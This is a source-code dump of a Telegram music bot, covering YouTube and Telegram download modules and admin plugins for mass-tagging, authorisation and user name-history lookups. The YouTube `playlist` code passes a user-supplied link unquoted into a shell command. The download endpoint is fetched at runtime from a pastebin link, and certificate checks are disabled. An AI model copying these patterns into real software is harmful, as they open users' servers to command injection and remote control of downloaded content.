                total_size = convert_bytes(total)
                completed_size = convert_bytes(current)
                speed = convert_bytes(speed)
                percentage = int((percentage.split("."))[0])
                for counter in range(7):
                    low = int(lower[counter])
                    high = int(higher[counter])
                    check = int(checker[counter])
                    if low < percentage <= high:
                        if high == check:
                            try:
                                await mystic.edit_text(
                                    text=_["tg_1"].format(
                                        app.mention,
                                        total_size,
                                        completed_size,
                                        percentage[:5],
                                        speed,
                                        eta,
                                    ),
                                    reply_markup=upl,
                                )
                                checker[counter] = 100
                            except:
                                pass

            speed_counter[message.id] = time.time()
            try:
                await app.download_media(
                    message.reply_to_message,
                    file_name=fname,
                    progress=progress,
                )
                try:
                    elapsed = get_readable_time(
                        int(int(time.time()) - int(speed_counter[message.id]))
                    )
                except:
                    elapsed = "0 sᴇᴄᴏɴᴅs"
                await mystic.edit_text(_["tg_2"].format(elapsed))
            except:
                await mystic.edit_text(_["tg_3"])

        task = asyncio.create_task(down_load())
        config.lyrical[mystic.id] = task
        await task
        verify = config.lyrical.get(mystic.id)
        if not verify:
            return False
        config.lyrical.pop(mystic.id)
        return True


================================================
FILE: BrandrdXMusic/platforms/Youtube.py
================================================
import asyncio
import os
import re
from typing import Union
import yt_dlp
from pyrogram.enums import MessageEntityType
from pyrogram.types import Message
from youtubesearchpython.__future__ import VideosSearch
from BrandrdXMusic.utils.formatters import time_to_seconds
import aiohttp
from BrandrdXMusic import LOGGER

YOUR_API_URL = None
FALLBACK_API_URL = "https://shrutibots.site"

async def load_api_url():
    global YOUR_API_URL
    logger = LOGGER("BrandrdXMusic.platforms.Youtube.py")
    
    try:
        async with aiohttp.ClientSession() as session:
            async with session.get("https://pastebin.com/raw/rLsBhAQa", timeout=aiohttp.ClientTimeout(total=10)) as response:
                if response.status == 200:
                    content = await response.text()
                    YOUR_API_URL = content.strip()
                    logger.info("API URL loaded successfully")
                else:
                    YOUR_API_URL = FALLBACK_API_URL
                    logger.info("Using fallback API URL")
    except Exception:
        YOUR_API_URL = FALLBACK_API_URL
        logger.info("Using fallback API URL")

try:
    loop = asyncio.get_event_loop()
    if loop.is_running():
        asyncio.create_task(load_api_url())
    else:
        loop.run_until_complete(load_api_url())
except RuntimeError:
    pass

async def download_song(link: str) -> str:
    global YOUR_API_URL
    
    if not YOUR_API_URL:
        await load_api_url()
        if not YOUR_API_URL:
            YOUR_API_URL = FALLBACK_API_URL
    
    video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link

    if not video_id or len(video_id) < 3:
        return None

    DOWNLOAD_DIR = "downloads"
    os.makedirs(DOWNLOAD_DIR, exist_ok=True)
    file_path = os.path.join(DOWNLOAD_DIR, f"{video_id}.mp3")

    if os.path.exists(file_path):
        return file_path

    try:
        async with aiohttp.ClientSession() as session:
            params = {"url": video_id, "type": "audio"}
            
            async with session.get(
                f"{YOUR_API_URL}/download",
                params=params,
                timeout=aiohttp.ClientTimeout(total=60)
            ) as response:
                if response.status != 200:
                    return None

                data = await response.json()
                download_token = data.get("download_token")
                
                if not download_token:
                    return None
                
                stream_url = f"{YOUR_API_URL}/stream/{video_id}?type=audio&token={download_token}"
                
                async with session.get(
                    stream_url,
                    timeout=aiohttp.ClientTimeout(total=300)
                ) as file_response:
                    if file_response.status == 302:
                        redirect_url = file_response.headers.get('Location')
                        if redirect_url:
                            async with session.get(redirect_url) as final_response:
                                if final_response.status != 200:
                                    return None
                                with open(file_path, "wb") as f:
                                    async for chunk in final_response.content.iter_chunked(16384):
                                        f.write(chunk)
                                return file_path
                    elif file_response.status == 200:
                        with open(file_path, "wb") as f:
                            async for chunk in file_response.content.iter_chunked(16384):
                                f.write(chunk)
                        return file_path
                    else:
                        return None

    except Exception:
        return None

async def download_video(link: str) -> str:
    global YOUR_API_URL
    
    if not YOUR_API_URL:
        await load_api_url()
        if not YOUR_API_URL:
            YOUR_API_URL = FALLBACK_API_URL
    
    video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link

    if not video_id or len(video_id) < 3:
        return None

    DOWNLOAD_DIR = "downloads"
    os.makedirs(DOWNLOAD_DIR, exist_ok=True)
    file_path = os.path.join(DOWNLOAD_DIR, f"{video_id}.mp4")

    if os.path.exists(file_path):
        return file_path

    try:
        async with aiohttp.ClientSession() as session:
            params = {"url": video_id, "type": "video"}
            
            async with session.get(
                f"{YOUR_API_URL}/download",
                params=params,
                timeout=aiohttp.ClientTimeout(total=60)
            ) as response:
                if response.status != 200:
                    return None

                data = await response.json()
                download_token = data.get("download_token")
                
                if not download_token:
                    return None
                
                stream_url = f"{YOUR_API_URL}/stream/{video_id}?type=video&token={download_token}"
                
                async with session.get(
                    stream_url,
                    timeout=aiohttp.ClientTimeout(total=600)
                ) as file_response:
                    if file_response.status == 302:
                        redirect_url = file_response.headers.get('Location')
                        if redirect_url:
                            async with session.get(redirect_url) as final_response:
                                if final_response.status != 200:
                                    return None
                                with open(file_path, "wb") as f:
                                    async for chunk in final_response.content.iter_chunked(16384):
                                        f.write(chunk)
                                return file_path
                    elif file_response.status == 200:
                        with open(file_path, "wb") as f:
                            async for chunk in file_response.content.iter_chunked(16384):
                                f.write(chunk)
                        return file_path
                    else:
                        return None

    except Exception:
        return None

async def shell_cmd(cmd):
    proc = await asyncio.create_subprocess_shell(
        cmd,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
    )
    out, errorz = await proc.communicate()
    if errorz:
        if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower():
            return out.decode("utf-8")
        else:
            return errorz.decode("utf-8")
    return out.decode("utf-8")

class YouTubeAPI:
    def __init__(self):
        self.base = "https://www.youtube.com/watch?v="
        self.regex = r"(?:youtube\.com|youtu\.be)"
        self.status = "https://www.youtube.com/oembed?url="
        self.listbase = "https://youtube.com/playlist?list="
        self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")

    async def exists(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        return bool(re.search(self.regex, link))

    async def url(self, message_1: Message) -> Union[str, None]:
        messages = [message_1]
        if message_1.reply_to_message:
            messages.append(message_1.reply_to_message)
        for message in messages:
            if message.entities:
                for entity in message.entities:
                    if entity.type == MessageEntityType.URL:
                        text = message.text or message.caption
                        return text[entity.offset: entity.offset + entity.length]
            elif message.caption_entities:
                for entity in message.caption_entities:
                    if entity.type == MessageEntityType.TEXT_LINK:
                        return entity.url
        return None

    async def details(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            title = result["title"]
            duration_min = result["duration"]
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
            vidid = result["id"]
            duration_sec = int(time_to_seconds(duration_min)) if duration_min else 0
        return title, duration_min, duration_sec, thumbnail, vidid

    async def title(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            return result["title"]

    async def duration(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            return result["duration"]

    async def thumbnail(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            return result["thumbnails"][0]["url"].split("?")[0]

    async def video(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        try:
            downloaded_file = await download_video(link)
            if downloaded_file:
                return 1, downloaded_file
            else:
                return 0, "Video download failed"
        except Exception as e:
            return 0, f"Video download error: {e}"

    async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None):
        if videoid:
            link = self.listbase + link
        if "&" in link:
            link = link.split("&")[0]
        playlist = await shell_cmd(
            f"yt-dlp -i --get-id --flat-playlist --playlist-end {limit} --skip-download {link}"
        )
        try:
            result = [key for key in playlist.split("\n") if key]
        except:
            result = []
        return result

    async def track(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            title = result["title"]
            duration_min = result["duration"]
            vidid = result["id"]
            yturl = result["link"]
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
        track_details = {
            "title": title,
            "link": yturl,
            "vidid": vidid,
            "duration_min": duration_min,
            "thumb": thumbnail,
        }
        return track_details, vidid

    async def formats(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        ytdl_opts = {"quiet": True}
        ydl = yt_dlp.YoutubeDL(ytdl_opts)
        with ydl:
            formats_available = []
            r = ydl.extract_info(link, download=False)
            for format in r["formats"]:
                try:
                    if "dash" not in str(format["format"]).lower():
                        formats_available.append(
                            {
                                "format": format["format"],
                                "filesize": format.get("filesize"),
                                "format_id": format["format_id"],
                                "ext": format["ext"],
                                "format_note": format["format_note"],
                                "yturl": link,
                            }
                        )
                except:
                    continue
        return formats_available, link

    async def slider(self, link: str, query_type: int, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        a = VideosSearch(link, limit=10)
        result = (await a.next()).get("result")
        title = result[query_type]["title"]
        duration_min = result[query_type]["duration"]
        vidid = result[query_type]["id"]
        thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0]
        return title, duration_min, thumbnail, vidid

    async def download(
        self,
        link: str,
        mystic,
        video: Union[bool, str] = None,
        videoid: Union[bool, str] = None,
        songaudio: Union[bool, str] = None,
        songvideo: Union[bool, str] = None,
        format_id: Union[bool, str] = None,
        title: Union[bool, str] = None,
    ) -> str:
        if videoid:
            link = self.base + link

        try:
            if video:
                downloaded_file = await download_video(link)
            else:
                downloaded_file = await download_song(link)
            
            if downloaded_file:
                return downloaded_file, True
            else:
                return None, False
        except Exception:
            return None, False


================================================
FILE: BrandrdXMusic/platforms/Youtube.txt
================================================
import asyncio
import os
import re
import json
from typing import Union

import yt_dlp
from pyrogram.enums import MessageEntityType
from pyrogram.types import Message
from youtubesearchpython.__future__ import VideosSearch

from LOKESHXMUSIC.utils.database import is_on_off
from LOKESHXMUSIC.utils.formatters import time_to_seconds



import os
import glob
import random
import logging

def cookie_txt_file():
    folder_path = f"{os.getcwd()}/cookies"
    filename = f"{os.getcwd()}/cookies/logs.csv"
    txt_files = glob.glob(os.path.join(folder_path, '*.txt'))
    if not txt_files:
        raise FileNotFoundError("No .txt files found in the specified folder.")
    cookie_txt_file = random.choice(txt_files)
    with open(filename, 'a') as file:
        file.write(f'Choosen File : {cookie_txt_file}\n')
    return f"""cookies/{str(cookie_txt_file).split("/")[-1]}"""



async def check_file_size(link):
    async def get_format_info(link):
        proc = await asyncio.create_subprocess_exec(
            "yt-dlp",
            "--cookies", cookie_txt_file(),
            "-J",
            link,
            stdout=asyncio.subprocess.PIPE,
            stderr=asyncio.subprocess.PIPE
        )
        stdout, stderr = await proc.communicate()
        if proc.returncode != 0:
            print(f'Error:\n{stderr.decode()}')
            return None
        return json.loads(stdout.decode())

    def parse_size(formats):
        total_size = 0
        for format in formats:
            if 'filesize' in format:
                total_size += format['filesize']
        return total_size

    info = await get_format_info(link)
    if info is None:
        return None
    
    formats = info.get('formats', [])
    if not formats:
        print("No formats found.")
        return None
    
    total_size = parse_size(formats)
    return total_size

async def shell_cmd(cmd):
    proc = await asyncio.create_subprocess_shell(
        cmd,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
    )
    out, errorz = await proc.communicate()
    if errorz:
        if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower():
            return out.decode("utf-8")
        else:
            return errorz.decode("utf-8")
    return out.decode("utf-8")


class YouTubeAPI:
    def __init__(self):
        self.base = "https://www.youtube.com/watch?v="
        self.regex = r"(?:youtube\.com|youtu\.be)"
        self.status = "https://www.youtube.com/oembed?url="
        self.listbase = "https://youtube.com/playlist?list="
        self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")

    async def exists(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if re.search(self.regex, link):
            return True
        else:
            return False

    async def url(self, message_1: Message) -> Union[str, None]:
        messages = [message_1]
        if message_1.reply_to_message:
            messages.append(message_1.reply_to_message)
        text = ""
        offset = None
        length = None
        for message in messages:
            if offset:
                break
            if message.entities:
                for entity in message.entities:
                    if entity.type == MessageEntityType.URL:
                        text = message.text or message.caption
                        offset, length = entity.offset, entity.length
                        break
            elif message.caption_entities:
                for entity in message.caption_entities:
                    if entity.type == MessageEntityType.TEXT_LINK:
                        return entity.url
        if offset in (None,):
            return None
        return text[offset : offset + length]

    async def details(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            title = result["title"]
            duration_min = result["duration"]
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
            vidid = result["id"]
            if str(duration_min) == "None":
                duration_sec = 0
            else:
                duration_sec = int(time_to_seconds(duration_min))
        return title, duration_min, duration_sec, thumbnail, vidid

    async def title(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            title = result["title"]
        return title

    async def duration(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            duration = result["duration"]
        return duration

    async def thumbnail(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
        return thumbnail

    async def video(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        proc = await asyncio.create_subprocess_exec(
            "yt-dlp",
            "--cookies",cookie_txt_file(),
            "-g",
            "-f",
            "best[height<=?720][width<=?1280]",
            f"{link}",
            stdout=asyncio.subprocess.PIPE,
            stderr=asyncio.subprocess.PIPE,
        )
        stdout, stderr = await proc.communicate()
        if stdout:
            return 1, stdout.decode().split("\n")[0]
        else:
            return 0, stderr.decode()

    async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None):
        if videoid:
            link = self.listbase + link
        if "&" in link:
            link = link.split("&")[0]
        playlist = await shell_cmd(
            f"yt-dlp -i --get-id --flat-playlist --cookies {cookie_txt_file()} --playlist-end {limit} --skip-download {link}"
        )
        try:
            result = playlist.split("\n")
            for key in result:
                if key == "":
                    result.remove(key)
        except:
            result = []
        return result

    async def track(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        results = VideosSearch(link, limit=1)
        for result in (await results.next())["result"]:
            title = result["title"]
            duration_min = result["duration"]
            vidid = result["id"]
            yturl = result["link"]
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
        track_details = {
            "title": title,
            "link": yturl,
            "vidid": vidid,
            "duration_min": duration_min,
            "thumb": thumbnail,
        }
        return track_details, vidid

    async def formats(self, link: str, videoid: Union[bool, str] = None):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        ytdl_opts = {"quiet": True, "cookiefile" : cookie_txt_file()}
        ydl = yt_dlp.YoutubeDL(ytdl_opts)
        with ydl:
            formats_available = []
            r = ydl.extract_info(link, download=False)
            for format in r["formats"]:
                try:
                    str(format["format"])
                except:
                    continue
                if not "dash" in str(format["format"]).lower():
                    try:
                        format["format"]
                        format["filesize"]
                        format["format_id"]
                        format["ext"]
                        format["format_note"]
                    except:
                        continue
                    formats_available.append(
                        {
                            "format": format["format"],
                            "filesize": format["filesize"],
                            "format_id": format["format_id"],
                            "ext": format["ext"],
                            "format_note": format["format_note"],
                            "yturl": link,
                        }
                    )
        return formats_available, link

    async def slider(
        self,
        link: str,
        query_type: int,
        videoid: Union[bool, str] = None,
    ):
        if videoid:
            link = self.base + link
        if "&" in link:
            link = link.split("&")[0]
        a = VideosSearch(link, limit=10)
        result = (await a.next()).get("result")
        title = result[query_type]["title"]
        duration_min = result[query_type]["duration"]
        vidid = result[query_type]["id"]
        thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0]
        return title, duration_min, thumbnail, vidid

    async def download(
        self,
        link: str,
        mystic,
        video: Union[bool, str] = None,
        videoid: Union[bool, str] = None,
        songaudio: Union[bool, str] = None,
        songvideo: Union[bool, str] = None,
        format_id: Union[bool, str] = None,
        title: Union[bool, str] = None,
    ) -> str:
        if videoid:
            link = self.base + link
        loop = asyncio.get_running_loop()
        def audio_dl():
            ydl_optssx = {
                "format": "bestaudio/best",
                "outtmpl": "downloads/%(id)s.%(ext)s",
                "geo_bypass": True,
                "nocheckcertificate": True,
                "quiet": True,
                "cookiefile" : cookie_txt_file(),
                "no_warnings": True,
            }
            x = yt_dlp.YoutubeDL(ydl_optssx)
            info = x.extract_info(link, False)
            xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}")
            if os.path.exists(xyz):
                return xyz
            x.download([link])
            return xyz

        def video_dl():
            ydl_optssx = {
                "format": "(bestvideo[height<=?720][width<=?1280][ext=mp4])+(bestaudio[ext=m4a])",
                "outtmpl": "downloads/%(id)s.%(ext)s",
                "geo_bypass": True,
                "nocheckcertificate": True,
                "quiet": True,
                "cookiefile" : cookie_txt_file(),
                "no_warnings": True,
            }
            x = yt_dlp.YoutubeDL(ydl_optssx)
            info = x.extract_info(link, False)
            xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}")
            if os.path.exists(xyz):
                return xyz
            x.download([link])
            return xyz

        def song_video_dl():
            formats = f"{format_id}+140"
            fpath = f"downloads/{title}"
            ydl_optssx = {
                "format": formats,
                "outtmpl": fpath,
                "geo_bypass": True,
                "nocheckcertificate": True,
                "quiet": True,
                "no_warnings": True,
                "cookiefile" : cookie_txt_file(),
                "prefer_ffmpeg": True,
                "merge_output_format": "mp4",
            }
            x = yt_dlp.YoutubeDL(ydl_optssx)
            x.download([link])

        def song_audio_dl():
            fpath = f"downloads/{title}.%(ext)s"
            ydl_optssx = {
                "format": format_id,
                "outtmpl": fpath,
                "geo_bypass": True,
                "nocheckcertificate": True,
                "quiet": True,
                "no_warnings": True,
                "cookiefile" : cookie_txt_file(),
                "prefer_ffmpeg": True,
                "postprocessors": [
                    {
                        "key": "FFmpegExtractAudio",
                        "preferredcodec": "mp3",
                        "preferredquality": "192",
                    }
                ],
            }
            x = yt_dlp.YoutubeDL(ydl_optssx)
            x.download([link])

        if songvideo:
            await loop.run_in_executor(None, song_video_dl)
            fpath = f"downloads/{title}.mp4"
            return fpath
        elif songaudio:
            await loop.run_in_executor(None, song_audio_dl)
            fpath = f"downloads/{title}.mp3"
            return fpath
        elif video:
            if await is_on_off(1):
                direct = True
                downloaded_file = await loop.run_in_executor(None, video_dl)
            else:
                proc = await asyncio.create_subprocess_exec(
                    "yt-dlp",
                    "--cookies",cookie_txt_file(),
                    "-g",
                    "-f",
                    "best[height<=?720][width<=?1280]",
                    f"{link}",
                    stdout=asyncio.subprocess.PIPE,
                    stderr=asyncio.subprocess.PIPE,
                )
                stdout, stderr = await proc.communicate()
                if stdout:
                    downloaded_file = stdout.decode().split("\n")[0]
                    direct = False
                else:
                   file_size = await check_file_size(link)
                   if not file_size:
                     print("None file Size")
                     return
                   total_size_mb = file_size / (1024 * 1024)
                   if total_size_mb > 250:
                     print(f"File size {total_size_mb:.2f} MB exceeds the 100MB limit.")
                     return None
                   direct = True
                   downloaded_file = await loop.run_in_executor(None, video_dl)
        else:
            direct = True
            downloaded_file = await loop.run_in_executor(None, audio_dl)
        return downloaded_file, direct


================================================
FILE: BrandrdXMusic/platforms/__init__.py
================================================
from .Apple import AppleAPI
from .Carbon import CarbonAPI
from .Resso import RessoAPI
from .Soundcloud import SoundAPI
from .Spotify import SpotifyAPI
from .Telegram import TeleAPI
from .Youtube import YouTubeAPI


================================================
FILE: BrandrdXMusic/plugins/__init__.py
================================================
import glob
from os.path import dirname, isfile


def __list_all_modules():
    work_dir = dirname(__file__)
    mod_paths = glob.glob(work_dir + "/*/*.py")

    all_modules = [
        (((f.replace(work_dir, "")).replace("/", "."))[:-3])
        for f in mod_paths
        if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py")
    ]

    return all_modules


ALL_MODULES = sorted(__list_all_modules())
__all__ = ALL_MODULES + ["ALL_MODULES"]


================================================
FILE: BrandrdXMusic/plugins/admins/Sangmata.py
================================================
import asyncio
import random

from pyrogram import Client, filters
from pyrogram.types import Message
from pyrogram.raw.functions.messages import DeleteHistory

from BrandrdXMusic import userbot as us, app
from BrandrdXMusic.core.userbot import assistants

@app.on_message(filters.command("sg"))
async def sg(client: Client, message: Message):
    if len(message.text.split()) < 1 and not message.reply_to_message:
        return await message.reply("sg username/id/reply")
    if message.reply_to_message:
        args = message.reply_to_message.from_user.id
    else:
        args = message.text.split()[1]
    lol = await message.reply("<code>Processing...</code>")
    if args:
        try:
            user = await client.get_users(f"{args}")
        except Exception:
            return await lol.edit("<code>Please specify a valid user!</code>")
    bo = ["sangmata_bot", "sangmata_beta_bot"]
    sg = random.choice(bo)
    if 1 in assistants:
        ubot = us.one
    
    try:
        a = await ubot.send_message(sg, f"{user.id}")
        await a.delete()
    except Exception as e:
        return await lol.edit(e)
    await asyncio.sleep(1)
    
    async for stalk in ubot.search_messages(a.chat.id):
        if stalk.text == None:
            continue
        if not stalk:
            await message.reply("botnya ngambek")
        elif stalk:
            await message.reply(f"{stalk.text}")
            break  
    
    try:
        user_info = await ubot.resolve_peer(sg)
        await ubot.send(DeleteHistory(peer=user_info, max_id=0, revoke=True))
    except Exception:
        pass
    
    await lol.delete()
    


================================================
FILE: BrandrdXMusic/plugins/admins/all_tag.py
================================================
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
from BrandrdXMusic import app
from BrandrdXMusic.utils.branded_ban import admin_filter


SPAM_CHATS = []


@app.on_message(
    filters.command(["all", "mention", "mentionall"], prefixes=["/", "@", ".", "#"])
    & admin_filter
)
async def tag_all_users(_, message):

    replied = message.reply_to_message
    if len(message.command) < 2 and not replied:
        await message.reply_text(
            "** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@all Hi Friends`"
        )
        return
    if replied:
        SPAM_CHATS.append(message.chat.id)
        usernum = 0
        usertxt = ""
        async for m in app.get_chat_members(message.chat.id):
            if message.chat.id not in SPAM_CHATS:
                break
            usernum += 1
            usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n"
            if usernum == 5:
                await replied.reply_text(usertxt)
                await asyncio.sleep(2)
                usernum = 0
                usertxt = ""
        try:
            SPAM_CHATS.remove(message.chat.id)
        except Exception:
            pass
    else:
        text = message.text.split(None, 1)[1]

        SPAM_CHATS.append(message.chat.id)
        usernum = 0
        usertxt = ""
        async for m in app.get_chat_members(message.chat.id):
            if message.chat.id not in SPAM_CHATS:
                break
            usernum += 1
            usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n"
            if usernum == 5:
                await app.send_message(
                    message.chat.id,
                    f"{text}\n{usertxt}\n\n|| ➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /cancel ||",
                )
                await asyncio.sleep(2)
                usernum = 0
                usertxt = ""
        try:
            SPAM_CHATS.remove(message.chat.id)
        except Exception:
            pass


@app.on_message(
    filters.command(
        [
            "stopmention",
            "offall",
            "cancel",
            "allstop",
            "stopall",
            "cancelmention",
            "offmention",
            "mentionoff",
            "alloff",
            "cancelall",
            "allcancel",
        ],
        prefixes=["/", "@", "#"],
    )
    & admin_filter
)
async def cancelcmd(_, message):
    chat_id = message.chat.id
    if chat_id in SPAM_CHATS:
        try:
            SPAM_CHATS.remove(chat_id)
        except Exception:
            pass
        return await message.reply_text("**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**")

    else:
        await message.reply_text("**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**")
        return


================================================
FILE: BrandrdXMusic/plugins/admins/assistant_tag.py
================================================
import asyncio

from pyrogram import filters
from pyrogram.enums import ChatMembersFilter
from pyrogram.errors import FloodWait

from BrandrdXMusic.utils.database import get_assistant
from BrandrdXMusic import app
from BrandrdXMusic.utils.branded_ban import admin_filter

SPAM_CHATS = []

@app.on_message(
    filters.command(
        ["atag", "aall", "amention", "amentionall"], prefixes=["/", "@", ".", "#"]
    )
    & admin_filter
)
async def atag_all_useres(_, message):
    userbot = await get_assistant(message.chat.id)
    if message.chat.id in SPAM_CHATS:
        return await message.reply_text(
            "ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss ɪs ᴀʟʀᴇᴀᴅʏ ʀᴜɴɴɪɴɢ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ sᴛᴏᴘ sᴏ ᴜsᴇ /acancel"
        )
    replied = message.reply_to_message
    if len(message.command) < 2 and not replied:
        await message.reply_text(
            "** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@aall Hi Friends`"
        )
        return
    if replied:
        SPAM_CHATS.append(message.chat.id)
        usernum = 0
        usertxt = ""
        async for m in app.get_chat_members(message.chat.id):
            if message.chat.id not in SPAM_CHATS:
                break
            usernum += 1
            usertxt += f"[{m.user.first_name}](tg://openmessage?user_id={m.user.id})"
            if usernum == 14:
                await userbot.send_message(
                    message.chat.id,
                    f"{replied.text}\n\n{usertxt}",
                    disable_web_page_preview=True,
                )
                await asyncio.sleep(2)
                usernum = 0
                usertxt = ""
        try:
            SPAM_CHATS.remove(message.chat.id)
        except Exception:
            pass
    else:
        text = message.text.split(None, 1)[1]

        SPAM_CHATS.append(message.chat.id)
        usernum = 0
        usertxt = ""
        async for m in app.get_chat_members(message.chat.id):
            if message.chat.id not in SPAM_CHATS:
                break
            usernum += 1
            usertxt += f'<a href="tg://openmessage?user_id={m.user.id}">{m.user.first_name}</a>'

            if usernum == 14:
                await userbot.send_message(
                    message.chat.id, f"{text}\n{usertxt}", disable_web_page_preview=True
                )
                await asyncio.sleep(2)
                usernum = 0
                usertxt = ""
        try:
            SPAM_CHATS.remove(message.chat.id)
        except Exception:
            pass



async def cancelcmd(_, message):
    chat_id = message.chat.id
    if chat_id in SPAM_CHATS:
        try:
            SPAM_CHATS.remove(chat_id)
        except Exception:
            pass
        return await message.reply_text("**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**")

    else:
        await message.reply_text("**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**")
        return


================================================
FILE: BrandrdXMusic/plugins/admins/auth.py
================================================
from pyrogram import filters
from pyrogram.types import Message

from BrandrdXMusic import app
from BrandrdXMusic.utils import extract_user, int_to_alpha
from BrandrdXMusic.utils.database import (
    delete_authuser,
    get_authuser,
    get_authuser_names,
    save_authuser,
)
from BrandrdXMusic.utils.decorators import AdminActual, language
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS, adminlist


@app.on_message(filters.command("auth") & filters.group & ~BANNED_USERS)
@AdminActual
async def auth(client, message: Message, _):
    if not message.reply_to_message:
        if len(message.command) != 2:
            return await message.reply_text(_["general_1"])
    user = await extract_user(message)
    token = await int_to_alpha(user.id)
    _check = await get_authuser_names(message.chat.id)
    count = len(_check)
    if int(count) == 25:
        return await message.reply_text(_["auth_1"])
    if token not in _check:
        assis = {
            "auth_user_id": user.id,
            "auth_name": user.first_name,
            "admin_id": message.from_user.id,
            "admin_name": message.from_user.first_name,
        }
        get = adminlist.get(message.chat.id)
        if get:
            if user.id not in get:
                get.append(user.id)
        await save_authuser(message.chat.id, token, assis)
        return await message.reply_text(_["auth_2"].format(user.mention))
    else:
        return await message.reply_text(_["auth_3"].format(user.mention))


@app.on_message(filters.command("unauth") & filters.group & ~BANNED_USERS)
@AdminActual
async def unauthusers(client, message: Message, _):
    if not message.reply_to_message:
        if len(message.command) != 2:
            return await message.reply_text(_["general_1"])
    user = await extract_user(message)
    token = await int_to_alpha(user.id)
    deleted = await delete_authuser(message.chat.id, token)
    get = adminlist.get(message.chat.id)
    if get:
        if user.id in get:
            get.remove(user.id)
    if deleted:
        return await message.reply_text(_["auth_4"].format(user.mention))
    else:
        return await message.reply_text(_["auth_5"].format(user.mention))


@app.on_message(
    filters.command(["authlist", "authusers"]) & filters.group & ~BANNED_USERS
)
@language
async def authusers(client, message: Message, _):
    _wtf = await get_authuser_names(message.chat.id)
    if not _wtf:
        return await message.reply_text(_["setting_4"])
    else:
        j = 0
        mystic = await message.reply_text(_["auth_6"])
        text = _["auth_7"].format(message.chat.title)
        for umm in _wtf:
            _umm = await get_authuser(message.chat.id, umm)
            user_id = _umm["auth_user_id"]
